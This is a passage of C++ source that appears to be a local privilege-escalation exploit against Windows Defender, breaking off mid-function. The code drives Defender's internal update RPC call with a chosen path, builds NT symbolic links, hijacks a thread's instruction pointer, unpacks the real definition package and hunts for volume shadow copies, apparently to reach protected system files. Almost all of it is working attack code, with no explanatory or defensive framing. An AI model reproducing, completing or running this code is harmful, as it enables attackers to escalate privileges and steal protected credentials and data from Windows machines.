#define _CRT_SECURE_NO_WARNINGS #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "windefend_h.h" /* #include #include #include #include #include #include #include */ #include "offreg.h" #define _NTDEF_ #include #include #pragma comment(lib, "wininet.lib") #pragma comment(lib, "ktmw32.lib") #pragma comment(lib, "Shlwapi.lib") #pragma comment(lib, "Rpcrt4.lib") #pragma comment(lib, "ntdll.lib") #pragma comment(lib, "Cabinet.lib") #pragma comment(lib, "Wuguid.lib") #pragma comment(lib,"CldApi.lib") /// NT routines and definitions HMODULE hm = GetModuleHandle(L"ntdll.dll"); NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)( OUT PHANDLE pHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)( OUT PHANDLE pHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject"); NTSTATUS(WINAPI* _NtOpenDirectoryObject)( PHANDLE DirectoryHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes ) = (NTSTATUS(WINAPI*)( PHANDLE DirectoryHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes ))GetProcAddress(hm, "NtOpenDirectoryObject");; NTSTATUS(WINAPI* _NtQueryDirectoryObject)( HANDLE DirectoryHandle, PVOID Buffer, ULONG Length, BOOLEAN ReturnSingleEntry, BOOLEAN RestartScan, PULONG Context, PULONG ReturnLength ) = (NTSTATUS(WINAPI*)( HANDLE DirectoryHandle, PVOID Buffer, ULONG Length, BOOLEAN ReturnSingleEntry, BOOLEAN RestartScan, PULONG Context, PULONG ReturnLength ))GetProcAddress(hm, "NtQueryDirectoryObject"); NTSTATUS(WINAPI* _NtSetInformationFile)( HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass ) = (NTSTATUS(WINAPI*)( HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass ))GetProcAddress(hm, "NtSetInformationFile"); NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ShadowDirectoryHandle, IN ULONG Flags) = (NTSTATUS(WINAPI*)( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ShadowDirectoryHandle, IN ULONG Flags))GetProcAddress(hm,"NtCreateDirectoryObjectEx"); #define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset)))) typedef struct _FILE_DISPOSITION_INFORMATION_EX { ULONG Flags; } FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX; typedef struct _OBJECT_DIRECTORY_INFORMATION { UNICODE_STRING Name; UNICODE_STRING TypeName; } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; typedef struct _REPARSE_DATA_BUFFER { ULONG ReparseTag; USHORT ReparseDataLength; USHORT Reserved; union { struct { USHORT SubstituteNameOffset; USHORT SubstituteNameLength; USHORT PrintNameOffset; USHORT PrintNameLength; ULONG Flags; WCHAR PathBuffer[1]; } SymbolicLinkReparseBuffer; struct { USHORT SubstituteNameOffset; USHORT SubstituteNameLength; USHORT PrintNameOffset; USHORT PrintNameLength; WCHAR PathBuffer[1]; } MountPointReparseBuffer; struct { UCHAR DataBuffer[1]; } GenericReparseBuffer; } DUMMYUNIONNAME; } REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; #define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer) //////////////// NT DEF END // definitions of structures used by threads that invoke WD RPC calls struct WDRPCWorkerThreadArgs { HANDLE hntfythread; HANDLE hevent; RPC_STATUS res; wchar_t* dirpath; }; typedef struct tagMPCOMPONENT_VERSION { ULONGLONG Version; ULARGE_INTEGER UpdateTime; } MPCOMPONENT_VERSION, * PMPCOMPONENT_VERSION; typedef struct tagMPVERSION_INFO { MPCOMPONENT_VERSION Product; MPCOMPONENT_VERSION Service; MPCOMPONENT_VERSION FileSystemFilter; MPCOMPONENT_VERSION Engine; MPCOMPONENT_VERSION ASSignature; MPCOMPONENT_VERSION AVSignature; MPCOMPONENT_VERSION NISEngine; MPCOMPONENT_VERSION NISSignature; MPCOMPONENT_VERSION Reserved[4]; } MPVERSION_INFO, * PMPVERSION_INFO; typedef union Version { struct { WORD major; WORD minor; WORD build; WORD revision; }; ULONGLONG QuadPart; }; ////////////////// // structures and global vars used by definition update functions void* cabbuff2 = NULL; DWORD cabbuffsz = 0; struct CabOpArguments { ULONG index; char* filename; size_t ptroffset; char* buff; DWORD FileSize; CabOpArguments* first; CabOpArguments* next; }; struct UpdateFiles { char filename[MAX_PATH]; void* filebuff; DWORD filesz; bool filecreated; HANDLE hsymlink; UpdateFiles* next; }; /////////////////////////////////////// // structures and global vars used by volume shadow copy functions struct cldcallbackctx { HANDLE hnotifywdaccess; HANDLE hnotifylockcreated; wchar_t filename[MAX_PATH]; }; struct LLShadowVolumeNames { wchar_t* name; LLShadowVolumeNames* next; }; struct cloudworkerthreadargs { HANDLE hlock; HANDLE hcleanupevent; HANDLE hvssready; }; /////////////////////////////////////// ////////////////////////////////////////////////////////////////////// // Functions required by RPC ///////////////////////////////////////////////////////////////////// void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes) { return((void __RPC_FAR*) malloc(cBytes)); } void __RPC_USER midl_user_free(void __RPC_FAR* p) { free(p); } ////////////////////////////////////////////////////////////////////// // Functions required by RPC end ///////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////// // WD RPC functions ///////////////////////////////////////////////////////////////////// void ThrowFunc() { throw 0; } void RaiseExceptionInThread(HANDLE hthread) { CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_FULL; SuspendThread(hthread); if (GetThreadContext(hthread, &ctx)) { ctx.Rip = (DWORD64)ThrowFunc; SetThreadContext(hthread, &ctx); ResumeThread(hthread); } } void CallWD(WDRPCWorkerThreadArgs* args) { RPC_WSTR MS_WD_UUID = (RPC_WSTR)L"c503f532-443a-4c69-8300-ccd1fbdb3839"; RPC_WSTR StringBinding; if (RpcStringBindingComposeW(MS_WD_UUID, (RPC_WSTR)L"ncalrpc", NULL, (RPC_WSTR)L"IMpService77BDAF73-B396-481F-9042-AD358843EC24", NULL, &StringBinding) != RPC_S_OK) { printf("Unexpected error while building an RPC binding from string !!!"); RaiseExceptionInThread(args->hntfythread); return; } RPC_BINDING_HANDLE bindhandle = 0; if (RpcBindingFromStringBindingW(StringBinding, &bindhandle) != RPC_S_OK) { printf("Failed to connect to windows defender RPC port !!!"); RaiseExceptionInThread(args->hntfythread); return; } error_status_t errstat = 0; printf("Calling ServerMpUpdateEngineSignature...\n"); //_getch(); RPC_STATUS stat = Proc42_ServerMpUpdateEngineSignature(bindhandle, NULL, args->dirpath, &errstat); args->res = stat; if (args->hevent) SetEvent(args->hevent); } DWORD WINAPI WDCallerThread(void* args) { if (!args) return ERROR_BAD_ARGUMENTS; CallWD((WDRPCWorkerThreadArgs*)args); return ERROR_SUCCESS; } ////////////////////////////////////////////////////////////////////// // WD RPC functions end ///////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////// // WD definition update functions ///////////////////////////////////////////////////////////////////// CabOpArguments* CUST_FNOPEN(const char* filename, int oflag, int pmode) { CabOpArguments* cbps = (CabOpArguments*)malloc(sizeof(CabOpArguments)); ZeroMemory(cbps, sizeof(CabOpArguments)); cbps->buff = (char*)cabbuff2; cbps->FileSize = cabbuffsz; return cbps; } INT CUST_FNSEEK(HANDLE hf, long offset, int origin) { if (hf) { CabOpArguments* CabOpArgs = (CabOpArguments*)hf; if (origin == SEEK_SET) CabOpArgs->ptroffset = offset; if (origin == SEEK_CUR) CabOpArgs->ptroffset += offset; if (origin == SEEK_END) CabOpArgs->ptroffset += CabOpArgs->FileSize; return CabOpArgs->ptroffset; } return -1; } UINT CUST_FNREAD(CabOpArguments* hf, void* const buffer, unsigned const buffer_size) { if (hf) { CabOpArguments* CabOpArgs = (CabOpArguments*)hf; if (CabOpArgs->buff) { memmove(buffer, &CabOpArgs->buff[CabOpArgs->ptroffset], buffer_size); CabOpArgs->ptroffset += buffer_size; //CabOpArgs->ReadBytes += buffer_size; return buffer_size; } } return NULL; } UINT CUST_FNWRITE(CabOpArguments* hf, const void* buffer, unsigned int count) { if (hf) { if (hf->buff) { memmove(&hf->buff[hf->ptroffset], buffer, count); hf->ptroffset += count; return count; } } return NULL; } INT CUST_FNCLOSE(CabOpArguments* fnFileClose) { free(fnFileClose); return 0; } VOID* CUST_FNALLOC(size_t cb) { return malloc(cb); } VOID CUST_FNFREE(void* buff) { free(buff); } INT_PTR CUST_FNFDINOTIFY( FDINOTIFICATIONTYPE fdinotify, PFDINOTIFICATION pfdin ) { //printf("_FNFDINOTIFY : %d\n", fdinotify); wchar_t newfile[MAX_PATH] = { 0 }; wchar_t filename[MAX_PATH] = { 0 }; HANDLE hfile = NULL; ULONG rethandle = 0; CabOpArguments** ptr = NULL; CabOpArguments* lcab = NULL; switch (fdinotify) { case fdintCOPY_FILE: if (_stricmp(pfdin->psz1, "MpSigStub.exe") == 0) return NULL; ptr = (CabOpArguments**)pfdin->pv; lcab = *ptr; if (lcab == NULL) { lcab = (CabOpArguments*)malloc(sizeof(CabOpArguments)); ZeroMemory(lcab, sizeof(CabOpArguments)); lcab->first = lcab; lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char)); ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char)); memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1)); lcab->FileSize = pfdin->cb; lcab->buff = (char*)malloc(lcab->FileSize); ZeroMemory(lcab->buff, lcab->FileSize); } else { lcab->next = (CabOpArguments*)malloc(sizeof(CabOpArguments)); ZeroMemory(lcab->next, sizeof(CabOpArguments)); lcab->next->first = lcab->first; lcab = lcab->next; lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char)); ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char)); memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1)); lcab->FileSize = pfdin->cb; lcab->buff = (char*)malloc(lcab->FileSize); ZeroMemory(lcab->buff, lcab->FileSize); } lcab->first->index++; *ptr = lcab; return (INT_PTR)lcab; break; case fdintCLOSE_FILE_INFO: return TRUE; break; default: return 0; } return 0; } void* GetCabFileFromBuff(PIMAGE_DOS_HEADER pvRawData, ULONG cbRawData, ULONG* cabsz) { if (cbRawData < sizeof(IMAGE_DOS_HEADER)) { return 0; } if (pvRawData->e_magic != IMAGE_DOS_SIGNATURE) { return 0; } ULONG e_lfanew = pvRawData->e_lfanew, s = e_lfanew + sizeof(IMAGE_NT_HEADERS); if (e_lfanew >= s || s > cbRawData) { return 0; } PIMAGE_NT_HEADERS pinth = (PIMAGE_NT_HEADERS)RtlOffsetToPointer(pvRawData, e_lfanew); if (pinth->Signature != IMAGE_NT_SIGNATURE) { return 0; } ULONG SizeOfImage = pinth->OptionalHeader.SizeOfImage, SizeOfHeaders = pinth->OptionalHeader.SizeOfHeaders; s = e_lfanew + SizeOfHeaders; if (SizeOfHeaders > SizeOfImage || SizeOfHeaders >= s || s > cbRawData) { return 0; } s = FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pinth->FileHeader.SizeOfOptionalHeader; if (s > SizeOfHeaders) { return 0; } ULONG NumberOfSections = pinth->FileHeader.NumberOfSections; PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)RtlOffsetToPointer(pinth, s); ULONG Size; if (NumberOfSections) { if (e_lfanew + s + NumberOfSections * sizeof(IMAGE_SECTION_HEADER) > SizeOfHeaders) { return 0; } do { if (Size = min(pish->Misc.VirtualSize, pish->SizeOfRawData)) { union { ULONG VirtualAddress, PointerToRawData; }; VirtualAddress = pish->VirtualAddress, s = VirtualAddress + Size; if (VirtualAddress > s || s > SizeOfImage) { return 0; } PointerToRawData = pish->PointerToRawData, s = PointerToRawData + Size; if (PointerToRawData > s || s > cbRawData) { return 0; } char rsrc[] = ".rsrc"; if (memcmp(pish->Name, rsrc, sizeof(rsrc)) == 0) { typedef struct _IMAGE_RESOURCE_DIRECTORY2 { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; WORD NumberOfNamedEntries; WORD NumberOfIdEntries; IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[]; } IMAGE_RESOURCE_DIRECTORY2, * PIMAGE_RESOURCE_DIRECTORY2; PIMAGE_RESOURCE_DIRECTORY2 pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(pvRawData, pish->PointerToRawData); PIMAGE_RESOURCE_DIRECTORY2 prsrc = pird; PIMAGE_RESOURCE_DIRECTORY_ENTRY pirde = { 0 }; PIMAGE_RESOURCE_DATA_ENTRY pdata = 0; while (pird->NumberOfNamedEntries + pird->NumberOfIdEntries) { pirde = &pird->DirectoryEntries[0]; if (!pirde->DataIsDirectory) { pdata = (PIMAGE_RESOURCE_DATA_ENTRY)RtlOffsetToPointer(prsrc, pirde->OffsetToData); pdata->OffsetToData -= pish->VirtualAddress - pish->PointerToRawData; void* cabfile = RtlOffsetToPointer(pvRawData, pdata->OffsetToData); if (cabsz) *cabsz = pdata->Size; return cabfile; } pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(prsrc, pirde->OffsetToDirectory); } break; } } } while (pish++, --NumberOfSections); } return NULL; } UpdateFiles* GetUpdateFiles(int* filecount = NULL) { HINTERNET hint = NULL; HINTERNET hint2 = NULL; char data[0x1000] = { 0 }; DWORD index = 0; DWORD sz = sizeof(data); bool res2 = 0; wchar_t filesz[50] = { 0 }; LARGE_INTEGER li = { 0 }; GUID uid = { 0 }; RPC_WSTR wuid = { 0 }; wchar_t* wuid2 = 0; wchar_t envstr[MAX_PATH] = { 0 }; wchar_t mpampath[MAX_PATH] = { 0 }; HANDLE hmpap = NULL; void* exebuff = NULL; DWORD readsz = 0; HANDLE hmapping = NULL; void* mappedbuff = NULL; HRSRC hres = NULL; DWORD ressz = NULL; HGLOBAL cabbuff = NULL; char fname[] = "update.cab"; ERF erfstruct = { 0 }; HFDI hcabctx = NULL; bool extractres = false; DWORD totalsz = 0; HANDLE hmpeng = NULL; CabOpArguments* CabOpArgs = NULL; CabOpArguments* mpenginedata = NULL; void* dllview = NULL; char** filesmtrx = 0; UpdateFiles* firstupdt = NULL; UpdateFiles* current = NULL; DWORD nbytes = 0; printf("Downloading updates...\n"); hint = InternetOpen(L"Chrome/141.0.0.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL); if (!hint) { printf("Failed to open internet, error : %d", GetLastError()); goto cleanup; } hint2 = InternetOpenUrl(hint, L"https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64", NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD, NULL); //InternetCloseHandle(hint); if (!hint2) { printf("Failed to open internet URL, error : %d", GetLastError()); goto cleanup; } res2 = HttpQueryInfo(hint2, HTTP_QUERY_CONTENT_LENGTH, data, &sz, &index); if (!res2) { printf("Failed to query update size, error : %d", GetLastError()); goto cleanup; } wcscpy(filesz, (LPWSTR)data); sz = _wtoi(filesz); li.QuadPart = sz; exebuff = malloc(sz); if (!exebuff) { printf("Failed to allocate memory to download file !!!"); goto cleanup; } ZeroMemory(exebuff, sz); if (!InternetReadFile(hint2, exebuff, sz, &readsz) || readsz != sz) { printf("Failed to download update from internet, error : %d", GetLastError()); goto cleanup; } InternetCloseHandle(hint); hint = NULL; InternetCloseHandle(hint2); hint = NULL; printf("Done.\n"); mappedbuff = GetCabFileFromBuff((PIMAGE_DOS_HEADER)exebuff, sz, &ressz); if (!mappedbuff) { printf("Failed to retrieve cabinet file from downloaded file.\n"); goto cleanup; } printf("Cabinet file mapped at 0x%p\n", mappedbuff); cabbuff2 = mappedbuff; cabbuffsz = ressz; printf("Extracting cab file content...\n"); hcabctx = FDICreate((PFNALLOC)CUST_FNALLOC, CUST_FNFREE, (PFNOPEN)CUST_FNOPEN, (PFNREAD)CUST_FNREAD, (PFNWRITE)CUST_FNWRITE, (PFNCLOSE)CUST_FNCLOSE, (PFNSEEK)CUST_FNSEEK, cpuUNKNOWN, &erfstruct); if (!hcabctx) { printf("Failed to create cab context, error : 0x%x", erfstruct.erfOper); goto cleanup; } extractres = FDICopy(hcabctx, (char*)"\\update.cab", (char*)"C:\\temp", NULL, (PFNFDINOTIFY)CUST_FNFDINOTIFY, NULL, &CabOpArgs); if (!extractres) { printf("Failed to extract cab file, error : 0x%x", erfstruct.erfOper); goto cleanup; } FDIDestroy(hcabctx); hcabctx = NULL; if (!CabOpArgs) { printf("Unexpected empty buffer after extracting cab file.\n"); return NULL; } CabOpArgs = CabOpArgs->first; firstupdt = (UpdateFiles*)malloc(sizeof(UpdateFiles)); ZeroMemory(firstupdt, sizeof(UpdateFiles)); current = firstupdt; while (CabOpArgs) { if (filecount) *filecount += 1; strcpy(current->filename, CabOpArgs->filename); DWORD buffsz = CabOpArgs->FileSize; current->filebuff = malloc(buffsz); memmove(current->filebuff, CabOpArgs->buff, buffsz); current->filesz = buffsz; CabOpArgs = CabOpArgs->next; if (CabOpArgs) { current->next = (UpdateFiles*)malloc(sizeof(UpdateFiles)); ZeroMemory(current->next, sizeof(UpdateFiles)); current = current->next; } } printf("Cab file content extracted.\n"); cleanup: if (CabOpArgs) { CabOpArguments* current = CabOpArgs->first; while (current) { free(current->buff); free(current->filename); CabOpArgs = current; current = current->next; free(CabOpArgs); } } if (hint) InternetCloseHandle(hint); if (hint2) InternetCloseHandle(hint2); if (exebuff) free(exebuff); return firstupdt; } bool CheckForWDUpdates(wchar_t* updatetitle, bool* criterr) { IUpdateSearcher* updsrch = 0; bool updatesfound = false; IUpdateSession* updsess = 0; CLSID clsid; HRESULT hr = CLSIDFromProgID(OLESTR("Microsoft.Update.Session"), &clsid); ISearchResult* srchres = 0; IUpdateCollection* updcollection = 0; LONG updnum = 0; BSTR title = 0; BSTR desc = 0; ICategoryCollection* catcoll = 0; ICategory* cat = 0; BSTR catname = 0; IUpdate* upd = 0; bool comini = CoInitialize(NULL) == 0; if (!comini) { printf("Failed to initialize COM\n"); *criterr = true; return false; } hr = CoCreateInstance(clsid, NULL, CLSCTX_INPROC_SERVER, IID_IUpdateSession, (LPVOID*)&updsess); if (!updsess) { printf("CoCreateInstance returned a NULL pointer.\n"); *criterr = true; goto cleanup; } //printf("CoCreateInstance : 0x%p\n", updsess); hr = updsess->CreateUpdateSearcher(&updsrch); if (hr) { printf("IUpdateSearcher->CreateUpdateSearcher failed with error : 0x%0.X", hr); *criterr = true; goto cleanup; } if (!updsrch) { printf("IUpdateSearcher->CreateUpdateSearcher returned a NULL pointer.\n"); *criterr = true; goto cleanup; } //printf("IUpdateSearcher->CreateUpdateSearcher : 0x%p\n", updsrch); //printf("Checking for updates, please wait...\n"); hr = updsrch->Search(SysAllocString(L""), &srchres); if (hr) { printf("ISearchResult->Search failed with error : 0x%0.X", hr); *criterr = true; goto cleanup; } //printf("ISearchResult->Search : 0x%p\n", srchres); hr = srchres->get_Updates(&updcollection); if (hr) { printf("IUpdateCollection->get_Updates failed with error : 0x%0.X", hr); *criterr = true; goto cleanup; } if (!updcollection) { printf("IUpdateCollection->get_Updates returned a NULL pointer.\n"); *criterr = true; goto cleanup; } //printf("IUpdateCollection->get_Updates : 0x%p\n", updcollection); hr = updcollection->get_Count(&updnum); if (hr) { printf("IUpdateCollection->get_Count failed with error : 0x%0.X", hr); *criterr = true; goto cleanup; } //printf("Updates count : %d\n", updnum); for (LONG i = 0; i < updnum; i++) { if (upd) { upd->Release(); upd = 0; } title = 0; desc = 0; catname = 0; //printf("_________________________________________\n"); bool IsWdUdpate = false; bool IsSigUpdate = false; hr = updcollection->get_Item(i, &upd); if (hr) { printf("IUpdateCollection->get_Item failed with error : 0x%0.X", hr); *criterr = true; goto cleanup; } if (!upd) { printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); *criterr = true; goto cleanup; } //printf("Update number : %d\n", i + 1); hr = upd->get_Title(&title); if (hr) { printf("IUpdateCollection->get_Title failed with error : 0x%0.X", hr); continue; } if (!title) { printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); continue; } title[SysStringLen(title)] = NULL; //printf("Title : %ws\n", title); /* desc = 0; upd->get_Description(&desc); if (!desc) { printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); continue; } desc[SysStringLen(desc)] = NULL; printf("Description : %ws\n", desc); */ catcoll = 0; hr = upd->get_Categories(&catcoll); if (!catcoll) { printf("IUpdateCollection->get_Categories returned a NULL pointer.\n"); continue; } LONG catcount = 0; hr = catcoll->get_Count(&catcount); for (LONG j = 0; j < catcount; j++) { cat = 0; hr = catcoll->get_Item(j, &cat); if (!cat) { printf("ICategoryCollection->get_Item returned NULL pointer.\n"); continue; } catname = 0; cat->get_Name(&catname); catname[SysStringLen(catname)] = NULL; //printf("Category name : %ws\n", catname); if (catname) { if (!IsWdUdpate) IsWdUdpate = _wcsicmp(catname, L"Microsoft Defender Antivirus") == 0; if (!IsSigUpdate) IsSigUpdate = _wcsicmp(catname, L"Definition Updates") == 0; } } updatesfound = IsWdUdpate && IsSigUpdate; if (updatesfound) break; } if (updatesfound && updatetitle) { memmove(updatetitle, title, lstrlenW(title) * sizeof(wchar_t)); } cleanup: if (updcollection) updcollection->Release(); if (srchres) srchres->Release(); if (updsrch) updsrch->Release(); if (updsess) updsess->Release(); if (upd) upd->Release(); CoUninitialize(); return updatesfound; } ////////////////////////////////////////////////////////////////////// // WD definition update functions end ///////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////// // Volume shadow copy functions ///////////////////////////////////////////////////////////////////// void rev(char* s) { // Initialize l and r pointers int l = 0; int r = strlen(s) - 1; char t; // Swap characters till l and r meet while (l < r) { // Swap characters t = s[l]; s[l] = s[r]; s[r] = t; // Move pointers towards each other l++; r--; } } void DestroyVSSNamesList(LLShadowVolumeNames* First) { while (First) { free(First->name); LLShadowVolumeNames* next = First->next; free(First); First = next; } } LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber, DWORD* errorcode) { if (!criticalerr || !vscnumber || !errorcode) return NULL; *vscnumber = 0; ULONG scanctx = 0; ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); ULONG retsz = 0; OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); if (!objdirinfo) { printf("Failed to allocate required buffer to query object manager directory.\n"); *criticalerr = true; *errorcode = ERROR_NOT_ENOUGH_MEMORY; return NULL; } ZeroMemory(objdirinfo, reqsz); NTSTATUS stat = STATUS_SUCCESS; do { stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz); if (stat == STATUS_SUCCESS) break; else if (stat != STATUS_MORE_ENTRIES) { printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); *criticalerr = true; *errorcode = RtlNtStatusToDosError(stat); return NULL; } free(objdirinfo); reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); if (!objdirinfo) { printf("Failed to allocate required buffer to query object manager directory.\n"); *criticalerr = true; *errorcode = ERROR_NOT_ENOUGH_MEMORY; return NULL; } ZeroMemory(objdirinfo, reqsz); } while (1); void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); LLShadowVolumeNames* LLVSScurrent = NULL; LLShadowVolumeNames* LLVSSfirst = NULL; for (ULONG i = 0; i < ULONG_MAX; i++) { if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) { free(emptybuff); break; } if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) { wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) { if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) { (*vscnumber)++; if (LLVSScurrent) { LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); if (!LLVSScurrent->next) { printf("Failed to allocate memory.\n"); *criticalerr = true; *errorcode = ERROR_NOT_ENOUGH_MEMORY; DestroyVSSNamesList(LLVSSfirst); free(objdirinfo); return NULL; } ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames)); LLVSScurrent = LLVSScurrent->next; LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); if (!LLVSScurrent->name) { printf("Failed to allocate memory !!!\n"); *errorcode = ERROR_NOT_ENOUGH_MEMORY; *criticalerr = true; DestroyVSSNamesList(LLVSSfirst); free(objdirinfo); return NULL; } ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); } else { LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); if (!LLVSSfirst) { printf("Failed to allocate memory.\n"); *errorcode = ERROR_NOT_ENOUGH_MEMORY; *criticalerr = true; DestroyVSSNamesList(LLVSSfirst); free(objdirinfo); return NULL; } ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames)); LLVSScurrent = LLVSSfirst; LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); if (!LLVSScurrent->name) { printf("Failed to allocate memory !!!\n"); *errorcode = ERROR_NOT_ENOUGH_MEMORY; *criticalerr = true; DestroyVSSNamesList(LLVSSfirst); free(objdirinfo); return NULL; } ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); } } } } } free(objdirinfo); return LLVSSfirst; } DWORD WINAPI ShadowCopyFinderThread(void* fullvsspath) { wchar_t devicepath[] = L"\\Device"; UNICODE_STRING udevpath = { 0 }; RtlInitUnicodeString(&udevpath, devicepath); OBJECT_ATTRIBUTES objattr = { 0 }; InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL); NTSTATUS stat = STATUS_SUCCESS; HANDLE hobjdir = NULL; DWORD retval = ERROR_SUCCESS; wchar_t newvsspath[MAX_PATH] = { 0 }; wcscpy(newvsspath, L"\\Device\\"); bool criterr = false; int vscnum = 0; bool restartscan = false; ULONG scanctx = 0; ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); ULONG retsz = 0; OBJECT_DIRECTORY_INFORMATION* objdirinfo = NULL; bool srchfound = false; wchar_t vsswinpath[MAX_PATH] = { 0 }; UNICODE_STRING _vsswinpath = { 0 }; OBJECT_ATTRIBUTES objattr2 = { 0 }; IO_STATUS_BLOCK iostat = { 0 }; HANDLE hlk = NULL; LLShadowVolumeNames* vsinitial = NULL; stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr); if (stat) { printf("Failed to open object manager directory, error : 0x%0.8X", stat); retval = RtlNtStatusToDosError(stat); return retval; } void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); if (!emptybuff) { printf("Failed to allocate memory !!!"); retval = ERROR_NOT_ENOUGH_MEMORY; goto cleanup; } ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum,&retval); if (criterr) { printf("Unexpected error while listing current volume shadow copy volumes\n"); goto cleanup; } if (!vsinitial) { printf("No volume shadow copies were found.\n"); } else { printf("Found %d volume shadow copies\n", vscnum); } stat = STATUS_SUCCESS; scanagain: do { if (objdirinfo) free(objdirinfo); objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); if (!objdirinfo) { printf("Failed to allocate required buffer to query object manager directory.\n"); retval = ERROR_NOT_ENOUGH_MEMORY; goto cleanup; } ZeroMemory(objdirinfo, reqsz); scanctx = 0; stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz); if (stat == STATUS_SUCCESS) break; else if (stat != STATUS_MORE_ENTRIES) { printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); retval = RtlNtStatusToDosError(stat); goto cleanup; } reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; } while (1); for (ULONG i = 0; i < ULONG_MAX; i++) { if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) { 